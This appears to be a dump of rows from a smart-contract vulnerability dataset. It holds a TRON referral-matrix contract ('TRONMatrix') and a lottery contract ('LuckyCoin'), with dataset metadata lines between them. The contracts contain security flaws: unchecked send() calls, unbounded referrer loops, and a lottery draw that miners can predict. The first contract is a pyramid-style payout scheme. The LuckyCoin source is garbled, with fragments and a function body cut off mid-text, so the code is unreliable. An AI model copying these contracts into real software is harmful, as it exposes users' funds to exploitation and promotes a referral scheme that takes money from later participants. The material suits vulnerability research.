//SourceUnit: TRONMatrix.sol pragma solidity >=0.4.23 <0.6.0; contract TRONMatrix { struct User { uint id; address referrer; uint partnersCount; mapping(uint8 => bool) activeX3Levels; mapping(uint8 => bool) activeX6Levels; mapping(uint8 => X3) x3Matrix; mapping(uint8 => X6) x6Matrix; mapping(uint8 => uint) x3MatrixEarnings; mapping(uint8 => uint) x6MatrixEarnings; uint divClaimMark; uint totalPlayerDivPoints; uint divsClaimed; } struct X3 { address currentReferrer; address[] referrals; bool blocked; uint reinvestCount; } struct X6 { address currentReferrer; address[] firstLevelReferrals; address[] secondLevelReferrals; bool blocked; uint reinvestCount; address closedPart; } uint8 public constant LAST_LEVEL = 12; uint8 public constant DIV_PERCENT = 200; // == 2.00% uint16 internal constant DIV_DIVISOR = 10000; mapping(address => User) public users; mapping(uint => address) public idToAddress; bool public gameOpen = false; uint public divPot; uint public totalDividendPoints; uint public totalDivs; uint internal calcDivs; uint constant pointMultiplier = 1e18; uint public lastUserId = 2; address public owner; address internal admin; mapping(uint8 => uint) public levelPrice; event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId); event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level); event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level); event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place); event MissedEthReceive(address indexed receiver, address indexed from, uint8 matrix, uint8 level); event SentExtraEthDividends(address indexed from, address indexed receiver, uint8 matrix, uint8 level); constructor(address ownerAddress) public { admin = msg.sender; levelPrice[1] = 350000000; // 1e6 for (uint8 i = 2; i <= LAST_LEVEL; i++) { levelPrice[i] = levelPrice[i-1] * 2; } owner = ownerAddress; User memory user = User({ id: 1, referrer: address(0), partnersCount: uint(0), divClaimMark: 0, totalPlayerDivPoints: 0, divsClaimed: 0 }); users[ownerAddress] = user; idToAddress[1] = ownerAddress; for (uint8 i = 1; i <= LAST_LEVEL; i++) { users[ownerAddress].activeX3Levels[i] = true; users[ownerAddress].activeX6Levels[i] = true; } } function updateGameOpen(bool _gameOpen) public { require(msg.sender == admin, "Only Admin"); gameOpen = _gameOpen; } function() external payable { if(msg.data.length == 0) { return registration(msg.sender, owner); } registration(msg.sender, bytesToAddress(msg.data)); } function registrationExt(address referrerAddress) external payable { require(gameOpen == true, "Game not yet open!"); registration(msg.sender, referrerAddress); } function buyNewLevel(uint8 matrix, uint8 level) external payable { require(gameOpen == true, "Game not yet open!"); require(isUserExists(msg.sender), "user is not exists. Register first."); require(matrix == 1 || matrix == 2, "invalid matrix"); require(msg.value == levelPrice[level], "invalid price"); require(level > 1 && level <= LAST_LEVEL, "invalid level"); if(viewDivs(msg.sender) > 0){ sendDivs(msg.sender); } else { users[msg.sender].divClaimMark = totalDividendPoints; } users[msg.sender].totalPlayerDivPoints += msg.value * DIV_PERCENT / DIV_DIVISOR; divPot += (msg.value * DIV_PERCENT / DIV_DIVISOR); totalDivs += (msg.value * DIV_PERCENT / DIV_DIVISOR); if (matrix == 1) { require(!users[msg.sender].activeX3Levels[level], "level already activated"); if (users[msg.sender].x3Matrix[level-1].blocked) { users[msg.sender].x3Matrix[level-1].blocked = false; } address freeX3Referrer = findFreeX3Referrer(msg.sender, level); // Short-circuits to save Energy if(freeX3Referrer == owner){ if(viewDivs(owner) > 0){ sendDivs(owner); } else { users[owner].divClaimMark = totalDividendPoints; } users[owner].totalPlayerDivPoints += msg.value * DIV_PERCENT / DIV_DIVISOR; calcDivs += msg.value * DIV_PERCENT / DIV_DIVISOR * 2; totalDividendPoints += (msg.value * DIV_PERCENT / DIV_DIVISOR) * pointMultiplier / calcDivs; } else { calcDivs += (msg.value * DIV_PERCENT / DIV_DIVISOR); totalDividendPoints += (msg.value * DIV_PERCENT / DIV_DIVISOR) * pointMultiplier / calcDivs; } users[msg.sender].x3Matrix[level].currentReferrer = freeX3Referrer; users[msg.sender].activeX3Levels[level] = true; updateX3Referrer(msg.sender, freeX3Referrer, level); emit Upgrade(msg.sender, freeX3Referrer, 1, level); } else { require(!users[msg.sender].activeX6Levels[level], "level already activated"); if (users[msg.sender].x6Matrix[level-1].blocked) { users[msg.sender].x6Matrix[level-1].blocked = false; } address freeX6Referrer = findFreeX6Referrer(msg.sender, level); // Short-circuits to save Energy if(freeX6Referrer == owner){ if(viewDivs(owner) > 0){ sendDivs(owner); } else { users[owner].divClaimMark = totalDividendPoints; } users[owner].totalPlayerDivPoints += msg.value * DIV_PERCENT / DIV_DIVISOR; calcDivs += msg.value * DIV_PERCENT / DIV_DIVISOR * 2; totalDividendPoints += (msg.value * DIV_PERCENT / DIV_DIVISOR) * pointMultiplier / calcDivs; } else { calcDivs += (msg.value * DIV_PERCENT / DIV_DIVISOR); totalDividendPoints += (msg.value * DIV_PERCENT / DIV_DIVISOR) * pointMultiplier / calcDivs; } users[msg.sender].activeX6Levels[level] = true; updateX6Referrer(msg.sender, freeX6Referrer, level); emit Upgrade(msg.sender, freeX6Referrer, 2, level); } } function registration(address userAddress, address referrerAddress) private { require(msg.value == 700000000, "registration cost 700 TRX"); require(!isUserExists(userAddress), "user exists"); require(isUserExists(referrerAddress), "referrer not exists"); uint32 size; assembly { size := extcodesize(userAddress) } require(size == 0, "cannot be a contract"); User memory user = User({ id: lastUserId, referrer: referrerAddress, partnersCount: 0, divClaimMark: totalDividendPoints, totalPlayerDivPoints: 0, divsClaimed: 0 }); users[userAddress] = user; idToAddress[lastUserId] = userAddress; users[userAddress].referrer = referrerAddress; users[userAddress].activeX3Levels[1] = true; users[userAddress].activeX6Levels[1] = true; users[userAddress].totalPlayerDivPoints += (msg.value * DIV_PERCENT / DIV_DIVISOR); divPot += msg.value * DIV_PERCENT / DIV_DIVISOR; totalDivs += (msg.value * DIV_PERCENT / DIV_DIVISOR); lastUserId++; users[referrerAddress].partnersCount++; address freeX3Referrer = findFreeX3Referrer(userAddress, 1); address freeX6Ref = findFreeX6Referrer(userAddress, 1); // Short-circuits to save Energy if(freeX3Referrer == owner || freeX6Ref == owner){ if(viewDivs(owner) > 0){ sendDivs(owner); } else { users[owner].divClaimMark = totalDividendPoints; } users[owner].totalPlayerDivPoints += msg.value * DIV_PERCENT / DIV_DIVISOR; calcDivs += msg.value * DIV_PERCENT / DIV_DIVISOR * 2; totalDividendPoints += (msg.value * DIV_PERCENT / DIV_DIVISOR) * pointMultiplier / calcDivs; } else { calcDivs += (msg.value * DIV_PERCENT / DIV_DIVISOR); totalDividendPoints += (msg.value * DIV_PERCENT / DIV_DIVISOR) * pointMultiplier / calcDivs; } users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer; updateX3Referrer(userAddress, freeX3Referrer, 1); updateX6Referrer(userAddress, freeX6Ref, 1); emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id); } function claimDivs() public returns(bool) { uint _divAmount = viewDivs(msg.sender); require(_divAmount > 0, "No divs available"); sendDivs(msg.sender); } function sendDivs(address _user) internal returns(bool) { uint _divAmount = viewDivs(_user); divPot -= _divAmount; users[_user].divClaimMark = totalDividendPoints; users[_user].divsClaimed += _divAmount; return address(uint160(_user)).send(_divAmount); } function viewDivsPercent(address _player) public view returns(uint divsPercent) { return users[_player].totalPlayerDivPoints * 100 / calcDivs; } function viewDivs(address _player) public view returns(uint divsAvailable) { uint newDividendPoints = totalDividendPoints - users[_player].divClaimMark; return (users[_player].totalPlayerDivPoints * newDividendPoints) / pointMultiplier; } function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private { users[referrerAddress].x3Matrix[level].referrals.push(userAddress); if (users[referrerAddress].x3Matrix[level].referrals.length < 3) { emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length)); return sendPartnerTRX(referrerAddress, userAddress, 1, level); } emit NewUserPlace(userAddress, referrerAddress, 1, level, 3); users[referrerAddress].x3Matrix[level].referrals = new address[](0); if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) { users[referrerAddress].x3Matrix[level].blocked = true; } // Short-circuits to save Energy if (referrerAddress != owner) { address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level); if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) { users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress; } users[referrerAddress].x3Matrix[level].reinvestCount++; emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level); updateX3Referrer(referrerAddress, freeReferrerAddress, level); } else { sendPartnerTRX(owner, userAddress, 1, level); users[owner].x3Matrix[level].reinvestCount++; emit Reinvest(owner, address(0), userAddress, 1, level); } } function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private { require(users[referrerAddress].activeX6Levels[level], "500. Referrer level is inactive"); if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) { users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress); emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length)); users[userAddress].x6Matrix[level].currentReferrer = referrerAddress; // Short-circuits to save Energy if (referrerAddress == owner) { return sendPartnerTRX(referrerAddress, userAddress, 2, level); } address ref = users[referrerAddress].x6Matrix[level].currentReferrer; users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress); uint len = users[ref].x6Matrix[level].firstLevelReferrals.length; if ((len == 2) && (users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) && (users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) { if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) { emit NewUserPlace(userAddress, ref, 2, level, 5); } else { emit NewUserPlace(userAddress, ref, 2, level, 6); } } else if ((len == 1 || len == 2) && users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) { if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) { emit NewUserPlace(userAddress, ref, 2, level, 3); } else { emit NewUserPlace(userAddress, ref, 2, level, 4); } } else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) { if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) { emit NewUserPlace(userAddress, ref, 2, level, 5); } else { emit NewUserPlace(userAddress, ref, 2, level, 6); } } return updateX6ReferrerSecondLevel(userAddress, ref, level); } users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress); if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) { if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) && (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == users[referrerAddress].x6Matrix[level].closedPart)) { updateX6(userAddress, referrerAddress, level, true); return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == users[referrerAddress].x6Matrix[level].closedPart) { updateX6(userAddress, referrerAddress, level, true); return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } else { updateX6(userAddress, referrerAddress, level, false); return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } } if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) { updateX6(userAddress, referrerAddress, level, false); return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) { updateX6(userAddress, referrerAddress, level, true); return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <= users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) { updateX6(userAddress, referrerAddress, level, false); } else { updateX6(userAddress, referrerAddress, level, true); } updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private { if (!x2) { users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress); emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length)); emit NewUserPlace(userAddress, referrerAddress, 2, level, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length)); users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]; } else { users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress); emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length)); emit NewUserPlace(userAddress, referrerAddress, 2, level, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length)); users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]; } } function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private { if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) { return sendPartnerTRX(referrerAddress, userAddress, 2, level); } address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals; if (x6.length == 2) { if (x6[0] == referrerAddress || x6[1] == referrerAddress) { users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress; } else if (x6.length == 1) { if (x6[0] == referrerAddress) { users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress; } } } users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0); users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0); users[referrerAddress].x6Matrix[level].closedPart = address(0); if (!users[referrerAddress].activeX6Levels[level+1] && level != LAST_LEVEL) { users[referrerAddress].x6Matrix[level].blocked = true; } users[referrerAddress].x6Matrix[level].reinvestCount++; // Short-circuits to save Energy if (referrerAddress != owner) { address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level); emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level); updateX6Referrer(referrerAddress, freeReferrerAddress, level); } else { emit Reinvest(owner, address(0), userAddress, 2, level); sendPartnerTRX(owner, userAddress, 2, level); } } function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) { while (true) { if (users[users[userAddress].referrer].activeX3Levels[level]) { return users[userAddress].referrer; } userAddress = users[userAddress].referrer; } } function findFreeX6Referrer(address userAddress, uint8 level) public view returns(address) { while (true) { if (users[users[userAddress].referrer].activeX6Levels[level]) { return users[userAddress].referrer; } userAddress = users[userAddress].referrer; } } function usersActiveLevelsAll(address userAddress) public view returns(bool[13] memory x3LevelsActive, bool[13] memory x6LevelsActive) { for(uint8 c=1; c< 13; c++){ x3LevelsActive[c] = users[userAddress].activeX3Levels[c]; x6LevelsActive[c] = users[userAddress].activeX6Levels[c]; } } function usersHighestLevels(address userAddress) public view returns(uint8 x3HighestLevel, uint8 x6HighestLevel) { for(uint8 c=1; c< 13; c++){ if(users[userAddress].activeX3Levels[c]) x3HighestLevel = c; if(users[userAddress].activeX6Levels[c]) x6HighestLevel = c; } } function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) { return users[userAddress].activeX6Levels[level]; } function userEarnings(address userAddress, uint8 level) public view returns(uint x3MatrixEarnings, uint x6MatrixEarnings) { x3MatrixEarnings = users[userAddress].x3MatrixEarnings[level]; x6MatrixEarnings = users[userAddress].x6MatrixEarnings[level]; } function userEarningsAll(address userAddress) public view returns(uint[13] memory x3MatrixEarnings, uint[13] memory x6MatrixEarnings){ for(uint8 c=1; c< 13; c++){ x3MatrixEarnings[c] = users[userAddress].x3MatrixEarnings[c]; x6MatrixEarnings[c] = users[userAddress].x6MatrixEarnings[c]; } } function usersX3Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool) { return (users[userAddress].x3Matrix[level].currentReferrer, users[userAddress].x3Matrix[level].referrals, users[userAddress].x3Matrix[level].blocked); } function usersX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, address) { return (users[userAddress].x6Matrix[level].currentReferrer, users[userAddress].x6Matrix[level].firstLevelReferrals, users[userAddress].x6Matrix[level].secondLevelReferrals, users[userAddress].x6Matrix[level].blocked, users[userAddress].x6Matrix[level].closedPart); } function isUserExists(address user) public view returns (bool) { return (users[user].id != 0); } function findTRXReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) { address receiver = userAddress; bool isExtraDividends; if (matrix == 1) { while (true) { if (users[receiver].x3Matrix[level].blocked) { emit MissedEthReceive(receiver, _from, 1, level); isExtraDividends = true; receiver = users[receiver].x3Matrix[level].currentReferrer; } else { return (receiver, isExtraDividends); } } } else { while (true) { if (users[receiver].x6Matrix[level].blocked) { emit MissedEthReceive(receiver, _from, 2, level); isExtraDividends = true; receiver = users[receiver].x6Matrix[level].currentReferrer; } else { return (receiver, isExtraDividends); } } } } // Sends TRX earnings direct to parent (P2P) function sendPartnerTRX(address userAddress, address _from, uint8 matrix, uint8 level) private { (address receiver, bool isExtraDividends) = findTRXReceiver(userAddress, _from, matrix, level); address(uint160(receiver)).send(levelPrice[level] - (levelPrice[level] * DIV_PERCENT / DIV_DIVISOR)); if(matrix == 1) users[receiver].x3MatrixEarnings[level] += levelPrice[level] - (levelPrice[level] * DIV_PERCENT / DIV_DIVISOR); else users[receiver].x6MatrixEarnings[level] += levelPrice[level] - (levelPrice[level] * DIV_PERCENT / DIV_DIVISOR); if (isExtraDividends) { emit SentExtraEthDividends(_from, receiver, matrix, level); } } function bytesToAddress(bytes memory bys) private pure returns (address addr) { assembly { addr := mload(add(bys, 20)) } } }
286,870
12,192
a43b3a8ce2f5f354ad0988937c1239d013b82c654c6bc2ecae35d7ba4af20820
39,978
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
evaluation-dataset/0xb3b3fa00a534ab0c7437bc5e9f4f97f1f98b930d.sol
4,901
16,677
pragma solidity ^0.4.24; contract Coinevents { // fired whenever a player registers a name event onNewName (uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp); event onBuy (address playerAddress, uint256 begin, uint256 end, uint256 round, bytes32 playerName); // fired whenever theres a withdraw event onWithdraw (uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp); // settle the contract event onSettle(uint256 rid, uint256 ticketsout, address winner, uint256 luckynum, uint256 jackpot); // settle the contract event onActivate(uint256 rid); } contract LuckyCoin is Coinevents{ using SafeMath for *; using NameFilter for string; / function buyTicket(uint256 _pID, uint256 _affID, uint256 _tickets) private { / // _pID: player pid _rIDlast: last roundid function updateTicketVault(uint256 _pID, uint256 _rIDlast) private{ uint256 _gen = (plyrRnds_[_pID][_rIDlast].luckytickets.mul(round_[_rIDlast].mask / _headtickets)).sub(plyrRnds_[_pID][_rIDlast].mask); uint256 _jackpot = 0; if (judgeWin(_rIDlast, _pID) && address(round_[_rIDlast].winner) == 0) { _jackpot = round_[_rIDlast].jackpot; round_[_rIDlast].winner = msg.sender; } plyr_[_pID].gen = _gen.add(plyr_[_pID].gen); // ticket valuet plyr_[_pID].win = _jackpot.add(plyr_[_pID].win); // player win plyrRnds_[_pID][_rIDlast].mask = plyrRnds_[_pID][_rIDlast].mask.add(_gen); } function managePlayer(uint256 _pID) private { // if player has played a previous round, move their unmasked earnings // from that round to gen vault. if (plyr_[_pID].lrnd != 0) updateTicketVault(_pID, plyr_[_pID].lrnd); // update player's last round played plyr_[_pID].lrnd = rID_; } //============================================================================== // _ _ | _ | _ _|_ _ _ _ . // (_(_||(_|_||(_| | (_)| _\ . //============================================================================== //pid500ticket function calcTicketEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { // per round ticket valuet return (plyrRnds_[_pID][_rIDlast].luckytickets.mul(round_[_rIDlast].mask / _headtickets)).sub(plyrRnds_[_pID][_rIDlast].mask); } //====================/========================================================= function activate() isHuman() public payable { // can only be ran once require(msg.sender == activate_addr2 ||msg.sender == activate_addr1); require(activated_ == false, "LuckyCoin already activated"); //uint256 _jackpot = 10 ether; require(msg.value == jackpot, "activate game need 10 ether"); if (rID_ != 0) { require(round_[rID_].tickets >= round_[rID_].lucknum, "nobody win"); } //activate the contract activated_ = true; //lets start first round rID_ ++; round_[rID_].start = now; round_[rID_].end = now + rndGap_; round_[rID_].jackpot = msg.value; emit onActivate(rID_); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } //==============================PLAYER========================================== function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID() private //returns (Coindatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; // if player is new to this version of luckycoin if (_pID == 0) { // grab their player ID, name and last aff ID, from player names contract _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); // set up player account pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; // set the new player bool to true //_eventData_.compressedData = _eventData_.compressedData + 1; } //return (_eventData_); } // only support Name by name function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit Coinevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit Coinevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; if (_now < round_[_rID].end){ return((round_[_rID].end).sub(_now)); } else return(0); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bool) { // setup local rID uint256 _rID = rID_; return (rID_, round_[_rID].tickets, round_[_rID].start, round_[_rID].end, round_[_rID].jackpot, round_[_rID].nextpot, round_[_rID].lucknum, round_[_rID].mask, round_[_rID].playernums, round_[_rID].winner, round_[_rID].ended); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; uint256 _lrnd = plyr_[_pID].lrnd; uint256 _jackpot = 0; if (judgeWin(_lrnd, _pID) && address(round_[_lrnd].winner) == 0){ _jackpot = round_[_lrnd].jackpot; } return (_pID, //0 plyr_[_pID].name, //1 plyrRnds_[_pID][_rID].tickets, //2 plyr_[_pID].win.add(_jackpot), //3 plyr_[_pID].gen.add(calcTicketEarnings(_pID, _lrnd)), //4 plyr_[_pID].aff, //5 plyrRnds_[_pID][_rID].eth, //6 plyrRnds_[_pID][_rID].affnums // 7); } // generate a number between 1-1500 function randNums() public view returns(uint256) { return uint256(keccak256(block.difficulty, now, block.coinbase)) % ticketstotal_ + 1; } // search user if win function judgeWin(uint256 _rid, uint256 _pID)private view returns(bool){ uint256 _group = (round_[_rid].lucknum -1) / grouptotal_; uint256 _temp = round_[_rid].lucknum % grouptotal_; if (_temp == 0){ _temp = grouptotal_; } if (orders[_rid][_pID][_group] & (2 **(_temp-1)) == 2 **(_temp-1)){ return true; }else{ return false; } } // search the tickets owns function searchtickets()public view returns(uint256, uint256, uint256, uint256,uint256, uint256){ uint256 _pID = pIDxAddr_[msg.sender]; return (orders[rID_][_pID][0], orders[rID_][_pID][1], orders[rID_][_pID][2], orders[rID_][_pID][3], orders[rID_][_pID][4], orders[rID_][_pID][5]); } // search the tickets by address function searchTicketsXaddr(address addr) public view returns(uint256, uint256, uint256, uint256,uint256, uint256){ uint256 _pID = pIDxAddr_[addr]; return (orders[rID_][_pID][0], orders[rID_][_pID][1], orders[rID_][_pID][2], orders[rID_][_pID][3], orders[rID_][_pID][4], orders[rID_][_pID][5]); } } library Coindatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; // winner address bytes32 winnerName; // winner name uint256 amountWon; // amount won uint256 newPot; // amount in new pot uint256 genAmount; // amount distributed to gen uint256 potAmount; // amount added to pot } struct Round { uint256 tickets; // already purchase ticket bool ended; // has round end function been ran uint256 jackpot; // eth to pot, perhaps next round pot uint256 start; // time round started uint256 end; // time ends/ended address winner; //win address uint256 mask; // global mask uint256 found; // jackpot found uint256 lucknum; // win num uint256 nextpot; // next pot uint256 blocknum; // current blocknum uint256 playernums; // playernums } struct Player { address addr; // player address bytes32 name; // player name uint256 win; // winnings vault uint256 gen; // general vault uint256 aff; // affiliate vault uint256 lrnd; // last round played uint256 laff; // last affiliate id used uint256 luckytickets; // head 500 will acquire distributes vault } struct PotSplit { uint256 community; // % of pot thats paid to key holders of current round uint256 gen; // % of pot thats paid to tickets holders uint256 laff; // last affiliate id used } struct PlayerRounds { uint256 eth; // eth player has added to round uint256 tickets; // tickets uint256 mask; // player mask, uint256 affnums; uint256 luckytickets; // player luckytickets } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require (// require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters"); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require(_temp[i+1] != 0x20, "string cannot contain consecutive spaces"); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
192,924
12,193
dd0cda166ad3e355413849b0a5e283e363668e366c0745d553812e98ebadc85d
24,296
.sol
Solidity
false
415832390
biswap-org/nft
910ef790e15410f6bb78f75ae193ff4954c9b81c
contracts/bswMinting.sol
3,555
